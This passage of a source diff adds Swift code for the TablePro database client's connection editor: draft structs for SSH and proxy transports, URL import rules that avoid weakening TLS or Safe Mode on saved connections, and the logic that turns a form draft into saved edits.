newTraits.socketForwardApplies { + next.sshForwardUnixSocketPath = sshForwardUnixSocketPath + } + if transport == .remoteFile { + next.ssh.remoteFilePath = ssh.remoteFilePath + } + } + + private func keepSSL(into next: inout ConnectionDraft, newTraits: ConnectionTypeTraits) { + guard newTraits.supportsSSL else { return } + if ssl.origin == .chosen, ConnectionEditorEngine.offeredSSLModes(next, newTraits).contains(ssl.mode) { + next.selectSSLMode(ssl.mode) + } else { + next.reconcileSSLWithPort(traits: newTraits) + } + guard newTraits.ssl.supportsPerConnectionCertificatePaths else { return } + next.ssl.caCertPath = ssl.caCertPath + next.ssl.clientCertPath = ssl.clientCertPath + next.ssl.clientKeyPath = ssl.clientKeyPath + next.ssl.clientKeyPassphrase = ssl.clientKeyPassphrase + } + + private func droppedValues(next: ConnectionDraft, oldTraits: ConnectionTypeTraits) -> [String] { + var dropped: [String] = [] + func note(_ label: String, when lost: Bool) { + if lost, !dropped.contains(label) { dropped.append(label) } + } + let trimmedHost = host.trimmingCharacters(in: .whitespaces) + note(String(localized: "Host"), when: !trimmedHost.isEmpty && trimmedHost != (oldTraits.defaultHost ?? "") + && next.host != host) + let customPort = ConnectionEditorEngine.parsePort(portText).map { $0 != oldTraits.defaultPort } ?? false + note(String(localized: "Port"), when: customPort && next.portText != portText) + note(String(localized: "Database"), when: !database.isEmpty && next.database != database) + note(String(localized: "Socket"), when: endpoint == .localSocket && next.endpoint != .localSocket) + note(String(localized: "Username"), when: !credentials.username.isEmpty && next.credentials.username != credentials.username) + note(String(localized: "Password"), when: !credentials.password.isEmpty && next.credentials.password != credentials.password) + note( + String(localized: "Ask for the password every time"), + when: credentials.promptsForPassword && !next.credentials.promptsForPassword + ) + note(String(localized: "Credential Profile"), when: credentials.usesProfile && !next.credentials.usesProfile) + if let transport, next.transport != transport { + note(transport.displayName, when: true) + } + let sslLost = (ssl.origin == .chosen && next.ssl.mode != ssl.mode) + || (!ssl.caCertPath.isEmpty && next.ssl.caCertPath.isEmpty) + || (!ssl.clientCertPath.isEmpty && next.ssl.clientCertPath.isEmpty) + || (!ssl.clientKeyPath.isEmpty && next.ssl.clientKeyPath.isEmpty) + note(String(localized: "SSL/TLS settings"), when: sslLost) + for field in oldTraits.fields { + let value = fieldValues[field.id] ?? "" + let isSet = field.isSecure ? !value.isEmpty : (!value.isEmpty && value != (field.defaultValue ?? "")) + note(field.label, when: isSet && next.fieldValues[field.id] != value) + } + return dropped + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift new file mode 100644 index 0000000000..f4794f3e83 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift @@ -0,0 +1,204 @@ +// +// ConnectionDraft+Transports.swift +// TablePro +// + +import Foundation +import TableProSSHConfig +import TableProSSHTransport + +// Each transport keeps its values while another is selected, so switching back within the window restores them. +struct SSHDraft: Equatable, Sendable { + var profileId: UUID? + // The configuration the record stored for its profile, kept so a profile this Mac cannot resolve stays linked. + var profileSnapshot: SSHConfiguration? + var host: String = "" + var port: String = "" + var username: String = "" + var password: String = "" + var authMethod: SSHAuthMethod = .password + var privateKeyPath: String = "" + var agentSocketOption: SSHAgentSocketOption = .systemDefault + var customAgentSocketPath: String = "" + var keyPassphrase: String = "" + var selectedConfigHost: String = "" + var jumpHosts: [SSHJumpHost] = [] + var totpMode: TOTPMode = .none + var totpSecret: String = "" + var totpAlgorithm: TOTPAlgorithm = .sha1 + var totpDigits: Int = 6 + var totpPeriod: Int = 30 + var remoteFilePath: String = "" + var remoteFileAccess: RemoteFileAccess = .onServer + var storedPasswordState: ConnectionStorage.StoredSecretState = .absent + var storedKeyPassphraseState: ConnectionStorage.StoredSecretState = .absent + // What the connection's or a profile's Keychain items filled in. Never cleared: the values stay on a switch to inline. + private(set) var keychainSecrets: Set = [] + + // Revealing a secret the Keychain handed over asks for authentication first. + var savedSecrets: Set { + var secrets = keychainSecrets + if storedPasswordState != .absent { secrets.insert(.password) } + if storedKeyPassphraseState != .absent { secrets.insert(.keyPassphrase) } + return secrets + } + + var resolvedAgentSocketPath: String { + agentSocketOption.resolvedPath(customPath: customAgentSocketPath) + } + + var clearsStoredPassword: Bool { + password.isEmpty && storedPasswordState == .stored + } + + var clearsStoredKeyPassphrase: Bool { + keyPassphrase.isEmpty && storedKeyPassphraseState == .stored + } + + func inlineConfiguration(enabled: Bool) -> SSHConfiguration { + SSHConfiguration( + enabled: enabled, + host: host, + port: ConnectionEditorEngine.parsePort(port), + username: username, + authMethod: authMethod, + privateKeyPath: privateKeyPath, + agentSocketPath: resolvedAgentSocketPath, + jumpHosts: jumpHosts, + totpMode: totpMode, + totpAlgorithm: totpAlgorithm, + totpDigits: totpDigits, + totpPeriod: totpPeriod, + remoteFilePath: remoteFilePath, + remoteFileAccess: remoteFileAccess + ) + } + + mutating func adoptKeychainSecrets(password: String?, keyPassphrase: String?, totpSecret: String?) { + self.password = password ?? "" + self.keyPassphrase = keyPassphrase ?? "" + self.totpSecret = totpSecret ?? "" + if !self.password.isEmpty { keychainSecrets.insert(.password) } + if !self.keyPassphrase.isEmpty { keychainSecrets.insert(.keyPassphrase) } + if !self.totpSecret.isEmpty { keychainSecrets.insert(.totpSecret) } + } + + mutating func populateFields(from config: SSHConfiguration, configEntries: [SSHConfigEntry]) { + host = config.host + port = config.port.map(String.init) ?? "" + username = config.username + authMethod = config.authMethod + privateKeyPath = config.privateKeyPath + applyAgentSocketPath(config.agentSocketPath) + jumpHosts = config.jumpHosts + totpMode = config.totpMode + totpAlgorithm = config.totpAlgorithm + totpDigits = config.totpDigits + totpPeriod = config.totpPeriod + selectedConfigHost = configEntries.first { $0.host == config.host }?.host ?? "" + } + + mutating func applyAgentSocketPath(_ socketPath: String) { + let option = SSHAgentSocketOption(socketPath: socketPath) + agentSocketOption = option + customAgentSocketPath = option == .custom ? socketPath.trimmingCharacters(in: .whitespacesAndNewlines) : "" + } +} + +struct CloudflareDraft: Equatable, Sendable { + var accessHostname: String = "" + var authMethod: CloudflareAuthMethod = .browserSSO + var serviceTokenId: String = "" + var serviceTokenSecret: String = "" + var automaticPort = true + var localPort: String = "" + var exposeToLAN = false + var binaryPath: String = "" + + var configuration: CloudflareConfiguration { + CloudflareConfiguration( + accessHostname: accessHostname.trimmingCharacters(in: .whitespacesAndNewlines), + localPort: automaticPort ? nil : ConnectionEditorEngine.parsePort(localPort), + authMethod: authMethod, + exposeToLAN: exposeToLAN, + binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) + ) + } + + mutating func populateFields(from config: CloudflareConfiguration) { + accessHostname = config.accessHostname + authMethod = config.authMethod + exposeToLAN = config.exposeToLAN + binaryPath = config.binaryPath + automaticPort = config.localPort == nil + localPort = config.localPort.map(String.init) ?? "" + } +} + +struct CloudSQLProxyDraft: Equatable, Sendable { + var instanceConnectionName: String = "" + var authMode: CloudSQLProxyAuthMode = .applicationDefault + var serviceAccountKeyJSON: String = "" + var useIAMAuth = false + var usePrivateIP = false + var automaticPort = true + var localPort: String = "" + var binaryPath: String = "" + + var configuration: CloudSQLProxyConfiguration { + CloudSQLProxyConfiguration( + instanceConnectionName: instanceConnectionName.trimmingCharacters(in: .whitespacesAndNewlines), + authMode: authMode, + useIAMAuth: useIAMAuth, + usePrivateIP: usePrivateIP, + localPort: automaticPort ? nil : ConnectionEditorEngine.parsePort(localPort), + binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) + ) + } + + var hasServiceAccountKey: Bool { + !serviceAccountKeyJSON.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty + } + + mutating func populateFields(from config: CloudSQLProxyConfiguration) { + instanceConnectionName = config.instanceConnectionName + authMode = config.authMode + useIAMAuth = config.useIAMAuth + usePrivateIP = config.usePrivateIP + binaryPath = config.binaryPath + automaticPort = config.localPort == nil + localPort = config.localPort.map(String.init) ?? "" + } +} + +struct SOCKSProxyDraft: Equatable, Sendable { + var host: String = "" + var port: String = "1080" + var username: String = "" + var password: String = "" + + var configuration: SOCKSProxyConfiguration { + SOCKSProxyConfiguration( + host: host.trimmingCharacters(in: .whitespacesAndNewlines), + port: ConnectionEditorEngine.parsePort(port) ?? 1_080, + username: username.trimmingCharacters(in: .whitespacesAndNewlines) + ) + } +} + +struct TunnelCommandDraft: Equatable, Sendable { + var config = TunnelCommandConfiguration() + + var trimmedConfiguration: TunnelCommandConfiguration { + var trimmed = config + trimmed.command = config.command.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.executablePath = config.executablePath.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.kubernetesNamespace = config.kubernetesNamespace.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.kubernetesResource = config.kubernetesResource.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.kubernetesContext = config.kubernetesContext.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.awsTarget = config.awsTarget.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.awsProfile = config.awsProfile.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.awsRegion = config.awsRegion.trimmingCharacters(in: .whitespacesAndNewlines) + return trimmed + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift new file mode 100644 index 0000000000..bf25a5d683 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift @@ -0,0 +1,289 @@ +// +// ConnectionDraft+URLImport.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProRedisCore +import TableProSSHConfig + +enum URLApplyPolicy: Equatable, Sendable { + // Import from URL and a paste into a connection that is not saved yet: the whole mapping. + case newConnection + // A paste into a saved connection: never lowers Safe Mode, weakens TLS, renames or adds raw driver options. + case existingConnection +} + +extension ConnectionDraft { + // Never a tunnel command, startup SQL or script: a URL carries none, and app-managed keys are dropped. + mutating func apply( + _ parsed: ParsedConnectionURL, + traits: ConnectionTypeTraits, + policy: URLApplyPolicy, + safeModeFloor: SafeModeFloor? = nil + ) { + let isNew = policy == .newConnection + applyEndpoint(parsed, traits: traits, isNew: isNew) + applySSL(parsed, isNew: isNew) + applySSH(parsed) + + if let hostList = traits.fields.endpointHostList { + if let multiHost = parsed.multiHost, !multiHost.isEmpty { + fieldValues[hostList.id] = multiHost + } else { + fieldValues[hostList.id] = HostListEndpoint.parse(parsed.host, defaultPort: parsed.resolvedPort)?.entry + } + } + + applyDriverOptions(parsed, traits: traits, isNew: isNew) + + if let hex = parsed.statusColor, !hex.isEmpty { + appearance.color = ConnectionURLParser.connectionColor(fromHex: hex) + } + if let environment = parsed.environment { + setEnvironment(environment) + } + applyEngineFields(parsed, traits: traits) + + // Without a name in the URL the name stays empty, so the form suggests one from what it points at + // (`ConnectionEditorEngine.suggestedName`) and the suggestion follows later edits of the host. + if isNew, let connectionName = parsed.connectionName, !connectionName.isEmpty { + name = connectionName + } + applySafeMode(parsed, isNew: isNew, floor: safeModeFloor) + } + + private mutating func applyEndpoint(_ parsed: ParsedConnectionURL, traits: ConnectionTypeTraits, isNew: Bool) { + if let socketPath = parsed.localSocketPath, traits.supportsLocalSocket { + endpoint = .localSocket + localSocketPath = socketPath + selectTransport(nil) + } else { + // Left on Socket, normalizing would drop the SSH server the URL names. + endpoint = .hostAndPort + } + host = parsed.host + portText = String(parsed.resolvedPort) + if isNew || !parsed.database.isEmpty { + database = parsed.database + } + if isNew || !parsed.username.isEmpty { + credentials.username = parsed.username + } + if isNew || !parsed.password.isEmpty { + credentials.password = parsed.password + } + } + + private mutating func applySSL(_ parsed: ParsedConnectionURL, isNew: Bool) { + let resolution = parsed.sslModeResolution + guard isNew || Self.strictness(of: resolution.mode) >= Self.strictness(of: ssl.mode) else { return } + applyImportedSSL(resolution) + } + + static func strictness(of mode: SSLMode) -> Int { + switch mode { + case .disabled: return 0 + case .preferred: return 1 + case .required: return 2 + case .verifyCa: return 3 + case .verifyIdentity: return 4 + } + } + + private mutating func applySSH(_ parsed: ParsedConnectionURL) { + guard let sshHost = parsed.sshHost else { return } + selectTransport(.ssh) + ssh.profileId = nil + ssh.host = sshHost + ssh.port = parsed.sshPort.map(String.init) ?? "" + ssh.username = parsed.sshUsername ?? "" + if let sshPassword = parsed.sshPassword, !sshPassword.isEmpty { + ssh.password = sshPassword + } + if parsed.usePrivateKey == true { + ssh.authMethod = .privateKey + } + if parsed.useSSHAgent == true { + ssh.authMethod = .sshAgent + ssh.applyAgentSocketPath(parsed.agentSocket ?? "") + } + if parsed.sshNoAuth == true { + ssh.authMethod = .none + } + } + + // Raw driver options reach the driver as typed, so a paste into a saved connection adds none of them. + private mutating func applyDriverOptions(_ parsed: ParsedConnectionURL, traits: ConnectionTypeTraits, isNew: Bool) { + if isNew { + let replaced = fieldValues.keys.filter { + ($0.hasPrefix("mongo") || $0.hasPrefix(ConnectionSecretOptions.mongoOptionPrefix)) && $0 != "mongoHosts" + } + for key in replaced { + fieldValues.removeValue(forKey: key) + } + } + if let authSource = parsed.authSource, !authSource.isEmpty { + fieldValues["mongoAuthSource"] = authSource + } + if parsed.useSrv { + fieldValues["mongoUseSrv"] = "true" + } + for (key, value) in parsed.mongoQueryParams where !value.isEmpty { + switch key.lowercased() { + case "authmechanism": + fieldValues["mongoAuthMechanism"] = value + case "replicaset": + fieldValues["mongoReplicaSet"] = value + case "uuidrepresentation": + fieldValues["mongoUuidRepresentation"] = value + // Secrets go to the Keychain through SSL and a secure field, never into a plain option. + case "tlscertificatekeyfile", "sslclientcertificatekeyfile": + ssl.clientCertPath = value + ssl.clientKeyPath = value + case "tlscertificatekeyfilepassword", "sslclientcertificatekeypassword": + ssl.clientKeyPassphrase = value + case "authmechanismproperties": + let split = ConnectionSecretOptions.splitSessionToken(from: value) + if isNew, let remaining = split.remaining { + fieldValues["\(ConnectionSecretOptions.mongoOptionPrefix)\(key)"] = remaining + } + if let token = split.sessionToken { + fieldValues[ConnectionSecretOptions.mongoSessionTokenFieldId] = token + } + case "proxypassword": + // libmongoc has no proxy options, so the password would only sit in the record. + continue + default: + if isNew { + fieldValues["\(ConnectionSecretOptions.mongoOptionPrefix)\(key)"] = value + } + } + } + if traits.field(RedisDatabaseIndex.fieldName) != nil, let redisDatabase = parsed.redisDatabase { + fieldValues[RedisDatabaseIndex.fieldName] = String(redisDatabase) + } + if let serviceName = parsed.oracleServiceName, !serviceName.isEmpty { + fieldValues["oracleServiceName"] = serviceName + } + var refused = ConnectionFormEdits.appManagedAdditionalFieldIDs + if !isNew { + refused.formUnion(driverTLSFieldIdsKept(against: parsed, traits: traits)) + } + for (fieldId, value) in parsed.additionalFields where !refused.contains(fieldId) { + fieldValues[fieldId] = value + } + } + + // A driver's own TLS mode, and the fields shown only for one of its modes (a CA file, a pinned fingerprint), change + // only when the URL asks for a stricter mode. + private func driverTLSFieldIdsKept(against parsed: ParsedConnectionURL, traits: ConnectionTypeTraits) -> Set { + var kept: Set = [] + for field in traits.fields where DriverTLSMode.isModeField(field) { + let current = DriverTLSMode.strictness(of: ConnectionEditorEngine.value(of: field, in: self)) + let pasted = parsed.additionalFields[field.id].flatMap(DriverTLSMode.strictness(of:)) + if let current, let pasted, pasted > current { continue } + kept.insert(field.id) + kept.formUnion(traits.fields.filter { $0.visibleWhen?.fieldId == field.id }.map(\.id)) + } + return kept + } + + private mutating func applyEngineFields(_ parsed: ParsedConnectionURL, traits: ConnectionTypeTraits) { + switch traits.pluginTypeId { + case "libSQL" where !parsed.host.isEmpty: + var urlString = "https://\(HostListEndpoint.urlHost(parsed.host))" + if let port = parsed.port { + urlString += ":\(port)" + } + fieldValues["databaseUrl"] = urlString + case "Cloudflare D1" where !parsed.host.isEmpty: + fieldValues["cfAccountId"] = parsed.host + case "DuckDB": + if parsed.host.isEmpty { + fieldValues["duckdbMode"] = "local" + fieldValues["duckdbFilePath"] = parsed.database + } else { + fieldValues["duckdbMode"] = "remote" + fieldValues["duckdbHost"] = parsed.host + if let port = parsed.port { + fieldValues["duckdbPort"] = String(port) + } + if !parsed.database.isEmpty { + fieldValues["duckdbAlias"] = parsed.database + } + } + default: + break + } + } + + private mutating func applySafeMode(_ parsed: ParsedConnectionURL, isNew: Bool, floor: SafeModeFloor?) { + guard let raw = parsed.safeModeLevel, let level = SafeModeLevel.from(urlInteger: raw) else { return } + if isNew { + safety.safeModeLevel = level + safety.userSetSafeMode = true + return + } + let current = floor?.raising(safety.safeModeLevel) ?? safety.safeModeLevel + guard level.strictness > current.strictness else { return } + safety.safeModeLevel = level + safety.userSetSafeMode = true + } + + static func changedValues(from old: ConnectionDraft, to new: ConnectionDraft, traits: ConnectionTypeTraits) -> [String] { + var changes: [String] = [] + func note(_ label: String, _ changed: Bool) { + if changed, !changes.contains(label) { changes.append(label) } + } + note(String(localized: "Type"), old.type != new.type) + note(String(localized: "Name"), old.name != new.name) + note(String(localized: "Host"), old.host != new.host) + note(String(localized: "Port"), old.portText != new.portText) + note(String(localized: "Socket"), old.endpoint != new.endpoint || old.localSocketPath != new.localSocketPath) + note(String(localized: "Database"), old.database != new.database) + note(String(localized: "Username"), old.credentials.username != new.credentials.username) + note(String(localized: "Password"), old.credentials.password != new.credentials.password) + note(String(localized: "SSL Mode"), old.ssl.mode != new.ssl.mode) + note( + String(localized: "Client Certificates"), + old.ssl.clientCertPath != new.ssl.clientCertPath || old.ssl.clientKeyPath != new.ssl.clientKeyPath + || old.ssl.clientKeyPassphrase != new.ssl.clientKeyPassphrase + ) + if old.transport != new.transport { + note(new.transport?.displayName ?? ConnectionTunnelKind.directDisplayName, true) + } + note(String(localized: "SSH Tunnel"), old.ssh != new.ssh && new.usesSSHServer) + note(String(localized: "Environment"), old.environment != new.environment) + note(String(localized: "Color"), old.appearance.color != new.appearance.color) + note(String(localized: "Safe Mode"), old.safety.safeModeLevel != new.safety.safeModeLevel) + let keys = Set(old.fieldValues.keys).union(new.fieldValues.keys) + for key in keys.sorted() where old.fieldValues[key] != new.fieldValues[key] { + note(traits.field(key)?.label ?? key, true) + } + return changes + } +} + +// PluginKit has no marker for a TLS field, so a driver's TLS mode is the dropdown whose every option is named for an SSL +// mode, as etcd's and DuckDB's are. A pinned certificate trusts one key only, so it ranks above Verify Identity. +enum DriverTLSMode { + static func strictness(of value: String) -> Int? { + switch value.lowercased().filter(\.isLetter) { + case "disabled", "disable", "off": return 0 + case "automatic", "auto", "allow", "prefer", "preferred": return 1 + case "required", "require": return 2 + case "verifyca": return 3 + case "verifyidentity", "verifyfull": return 4 + case "verifyfingerprint": return 5 + default: return nil + } + } + + static func isModeField(_ field: ConnectionField) -> Bool { + guard case .dropdown(let options) = field.fieldType, !options.isEmpty else { return false } + return options.allSatisfy { strictness(of: $0.value) != nil } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft.swift new file mode 100644 index 0000000000..bab007719a --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft.swift @@ -0,0 +1,130 @@ +// +// ConnectionDraft.swift +// TablePro +// + +import Foundation +import TableProAutocomplete +import TableProPluginKit + +struct ConnectionDraft: Equatable, Sendable { + enum Endpoint: Hashable, Sendable { + case hostAndPort + case localSocket + } + + var name: String = "" + var type: DatabaseType + var environment: ConnectionEnvironment = .none + var endpoint: Endpoint = .hostAndPort + var host: String = "" + var portText: String = "" + var database: String = "" + var localSocketPath: String = "" + var sshForwardUnixSocketPath: String = "" + var credentials = CredentialsDraft() + // Every plugin field of the type in one bag, secure values included; the engine strips secure ids before a write. + var fieldValues: [String: String] = [:] + var transport: ConnectionTunnelKind? + var ssh = SSHDraft() + var cloudflare = CloudflareDraft() + var cloudSQLProxy = CloudSQLProxyDraft() + var socksProxy = SOCKSProxyDraft() + var tunnelCommand = TunnelCommandDraft() + var ssl = SSLDraft() + var options = OptionsDraft() + var safety = SafetyDraft() + var ai = AIDraft() + var appearance = AppearanceDraft() + + init(type: DatabaseType, environment: ConnectionEnvironment = .none) { + self.type = type + self.environment = environment + } + + var usesSSHServer: Bool { transport == .ssh || transport == .remoteFile } +} + +struct CredentialsDraft: Equatable, Sendable { + var mode: CredentialMode = .inline + var username: String = "" + var password: String = "" + var promptsForPassword = false + // Read only: it lives in connections.json and is carried over by the save. + var passwordSource: PasswordSource? + var storedPasswordState: ConnectionStorage.StoredSecretState = .absent + + var usesProfile: Bool { mode.profileId != nil } +} + +struct SSLDraft: Equatable, Sendable { + var mode: SSLMode = .disabled + var origin: SSLModeOrigin = .typeDefault + var caCertPath: String = "" + var clientCertPath: String = "" + var clientKeyPath: String = "" + var clientKeyPassphrase: String = "" + + var configuration: SSLConfiguration { + SSLConfiguration( + mode: mode, + caCertificatePath: caCertPath, + clientCertificatePath: clientCertPath, + clientKeyPath: clientKeyPath + ) + } +} + +struct OptionsDraft: Equatable, Sendable { + var connectTimeoutSeconds: Int? + var queryTimeoutSeconds: Int? + var binaryInlineLimitKilobytes: Int? + var completionIdentifierCase: SQLIdentifierCase = .default + var startupCommands: String = "" + var preConnectScript: String = "" + var postDisconnectScript: String = "" + var scriptTimeoutSeconds: Int? + var localOnly = false +} + +struct SafetyDraft: Equatable, Sendable { + var safeModeLevel: SafeModeLevel = .silent + // Until the user picks a level, a new connection's level follows its environment. + var userSetSafeMode = false + var commitMode: ConnectionCommitMode = .automatic + var maskingRules: [MaskingRule] = [] +} + +struct AIDraft: Equatable, Sendable { + var policy: AIConnectionPolicy? + var rules: String = "" + var externalAccess: ExternalAccessLevel = .readOnly + var alwaysAllowedTools: [String] = [] + var revokedTools: Set = [] +} + +struct AppearanceDraft: Equatable, Sendable { + var color: ConnectionColor = .none + var iconName: String? + var tagIds: [UUID] = [] + var groupId: UUID? +} + +// What the store read from the Keychain for a stored connection. Nil means not stored or unreadable. +struct DraftSecrets: Equatable, Sendable { + var password: String? + var passwordState: ConnectionStorage.StoredSecretState = .absent + var sshPassword: String? + var sshPasswordState: ConnectionStorage.StoredSecretState = .absent + var sshKeyPassphrase: String? + var sshKeyPassphraseState: ConnectionStorage.StoredSecretState = .absent + var totpSecret: String? + var sslClientKeyPassphrase: String? + var cloudflareTokenId: String? + var cloudflareTokenSecret: String? + var cloudSQLServiceAccountKey: String? + var socksPassword: String? + var pluginSecureFields: [String: String] = [:] + + static let none = DraftSecrets() +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift new file mode 100644 index 0000000000..a3ca4e5013 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift @@ -0,0 +1,249 @@ +// +// ConnectionEditorEngine+Edits.swift +// TablePro +// + +import Foundation +import TableProAutocomplete +import TableProConnectionLibrary +import TableProPluginKit +import TableProRedisCore +import TableProSSHConfig + +extension ConnectionEditorEngine { + // Secure values never reach the record: every secure id either type could hold, and the Mongo session token. + static func secretFieldIds(_ traits: ConnectionTypeTraits, originalTraits: ConnectionTypeTraits?) -> Set { + var ids = Set(traits.declaredSecureFieldIds + traits.storedSecureFieldIds) + if let originalTraits { + ids.formUnion(originalTraits.declaredSecureFieldIds + originalTraits.storedSecureFieldIds) + } + ids.insert(ConnectionSecretOptions.mongoSessionTokenFieldId) + return ids + } + + static func ownedAdditionalFieldIds(_ traits: ConnectionTypeTraits, originalTraits: ConnectionTypeTraits?) -> Set { + var ids = ConnectionFormEdits.appManagedAdditionalFieldIDs + ids.formUnion(traits.fields.map(\.id)) + if let originalTraits, originalTraits.type != traits.type { + ids.formUnion(originalTraits.fields.map(\.id)) + } + return ids + } + + static func edits( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + _ context: EditorContext + ) -> ConnectionFormEdits { + let draft = normalized(draft, traits) + let secretIds = secretFieldIds(traits, originalTraits: originalTraits) + var fields = draft.fieldValues.filter { !secretIds.contains($0.key) } + // Validation reads a number field trimmed, so the driver gets the number it approved. + for field in traits.fields where field.fieldType.integerEntryRange != nil { + fields[field.id] = fields[field.id].map { $0.trimmingCharacters(in: .whitespacesAndNewlines) } + } + + let forwardSocket = draft.sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces) + if draft.transport == .ssh, !forwardSocket.isEmpty { + fields[DatabaseConnection.sshForwardUnixSocketPathKey] = forwardSocket + } + let socket = localSocketEndpoint(draft, traits) + if let socket { + fields[MySQLLocalSocket.fieldKey] = socket.path + } + + var host = resolvedHost(draft, traits) + var port = socket?.port ?? resolvedPort(draft, traits) + // An empty list means what its placeholder shows, never the Host it hid. + if let hostList = traits.fields.endpointHostList { + let endpoints = HostListEndpoint.parseList(fields[hostList.id] ?? "", defaultPort: traits.defaultPort) + fields[hostList.id] = endpoints.map(\.entry).joined(separator: ",") + let primary = endpoints.first + ?? HostListEndpoint(host: traits.defaultHost ?? "localhost", port: traits.defaultPort) + host = primary.host + port = primary.port + } + + writeScripts(draft, into: &fields) + fields[ConnectionEnvironment.fieldKey] = draft.environment == .none ? nil : draft.environment.rawValue + fields["promptForPassword"] = effectivePromptForPassword(draft, traits) ? "true" : nil + + let ssh = sshValues(draft, context) + return ConnectionFormEdits( + name: effectiveName(draft, traits, context), + host: host, + port: port, + database: draft.database, + username: context.credentialProfile(draft.credentials.mode.profileId)?.username + ?? draft.credentials.username.trimmingCharacters(in: .whitespaces), + type: draft.type, + sshConfig: ssh.config, + sslConfig: draft.ssl.configuration, + color: draft.appearance.color, + iconName: draft.appearance.iconName, + tagIds: draft.appearance.tagIds, + groupId: draft.appearance.groupId, + sshProfileId: ssh.profileId, + sshTunnelMode: ssh.mode, + credentialMode: draft.credentials.mode, + cloudflareTunnelMode: draft.transport == .cloudflare ? .inline(draft.cloudflare.configuration) : .disabled, + cloudSQLProxyMode: draft.transport == .cloudSQLProxy ? .inline(draft.cloudSQLProxy.configuration) : .disabled, + socksProxyMode: draft.transport == .socksProxy ? .inline(draft.socksProxy.configuration) : .disabled, + tunnelCommandMode: draft.transport == .tunnelCommand + ? .inline(draft.tunnelCommand.trimmedConfiguration) : .disabled, + safeModeLevel: draft.safety.safeModeLevel, + aiPolicy: draft.ai.policy, + aiRules: draft.ai.rules.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty ? nil : draft.ai.rules, + externalAccess: draft.ai.externalAccess, + connectTimeoutSeconds: draft.options.connectTimeoutSeconds, + queryTimeoutSeconds: draft.options.queryTimeoutSeconds, + binaryInlineLimitKilobytes: draft.options.binaryInlineLimitKilobytes, + completionIdentifierCase: draft.options.completionIdentifierCase, + commitMode: draft.safety.commitMode, + redisDatabase: traits.field(RedisDatabaseIndex.fieldName) == nil + ? nil + : draft.fieldValues[RedisDatabaseIndex.fieldName].map { RedisDatabaseIndex.parse($0) ?? 0 }, + startupCommands: draft.options.startupCommands.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty + ? nil : draft.options.startupCommands, + localOnly: draft.options.localOnly, + additionalFields: fields, + ownedAdditionalFieldIDs: ownedAdditionalFieldIds(traits, originalTraits: originalTraits), + maskingRules: draft.safety.maskingRules.filter { !$0.trimmedPattern.isEmpty }, + revokedAIAlwaysAllowedTools: draft.ai.revokedTools + ) + } + + private static func writeScripts(_ draft: ConnectionDraft, into fields: inout [String: String]) { + for (key, script) in [ + ("preConnectScript", draft.options.preConnectScript), + (DatabaseConnection.postDisconnectScriptKey, draft.options.postDisconnectScript) + ] { + fields[key] = script.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty ? nil : script + } + if let timeout = draft.options.scriptTimeoutSeconds, ConnectionScriptRunner.timeoutSecondsRange.contains(timeout) { + fields[DatabaseConnection.scriptTimeoutSecondsKey] = String(timeout) + } else { + fields[DatabaseConnection.scriptTimeoutSecondsKey] = nil + } + } + + // A profile names a server, not a file, so the remote path overlays whichever configuration is in play. + private static func sshValues( + _ draft: ConnectionDraft, + _ context: EditorContext + ) -> (config: SSHConfiguration, profileId: UUID?, mode: SSHTunnelMode) { + func overlaid(_ config: SSHConfiguration) -> SSHConfiguration { + var config = config + config.enabled = true + config.remoteFilePath = draft.ssh.remoteFilePath + config.remoteFileAccess = draft.ssh.remoteFileAccess + return config + } + switch sshResolution(draft, context) { + case .disabled: + return (draft.ssh.inlineConfiguration(enabled: false), nil, .disabled) + case .inline(let config): + return (config, nil, .inline(config)) + case .profile(let profile): + let config = overlaid(profile.toSSHConfiguration()) + return (config, profile.id, .profile(id: profile.id, snapshot: config)) + case .unresolvedProfile(let id, let snapshot): + let config = overlaid(snapshot) + return (config, id, .profile(id: id, snapshot: config)) + } + } + + // What a test result was earned on. Name, appearance and policy edits leave a result standing. + struct TestFingerprint: Equatable { + let edits: ConnectionFormEdits + let secrets: [String] + // Socket with no path writes what Host and Port did, yet a result earned on Host and Port no longer applies. + var endpoint: ConnectionDraft.Endpoint? + } + + static func testFingerprint( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + _ context: EditorContext + ) -> TestFingerprint { + var edits = edits(draft, traits, originalTraits: originalTraits, context) + edits.name = "" + edits.color = .none + edits.iconName = nil + edits.tagIds = [] + edits.groupId = nil + edits.safeModeLevel = .silent + edits.aiPolicy = nil + edits.aiRules = nil + edits.externalAccess = .readOnly + edits.maskingRules = [] + edits.revokedAIAlwaysAllowedTools = [] + edits.localOnly = false + edits.completionIdentifierCase = .default + edits.commitMode = .automatic + 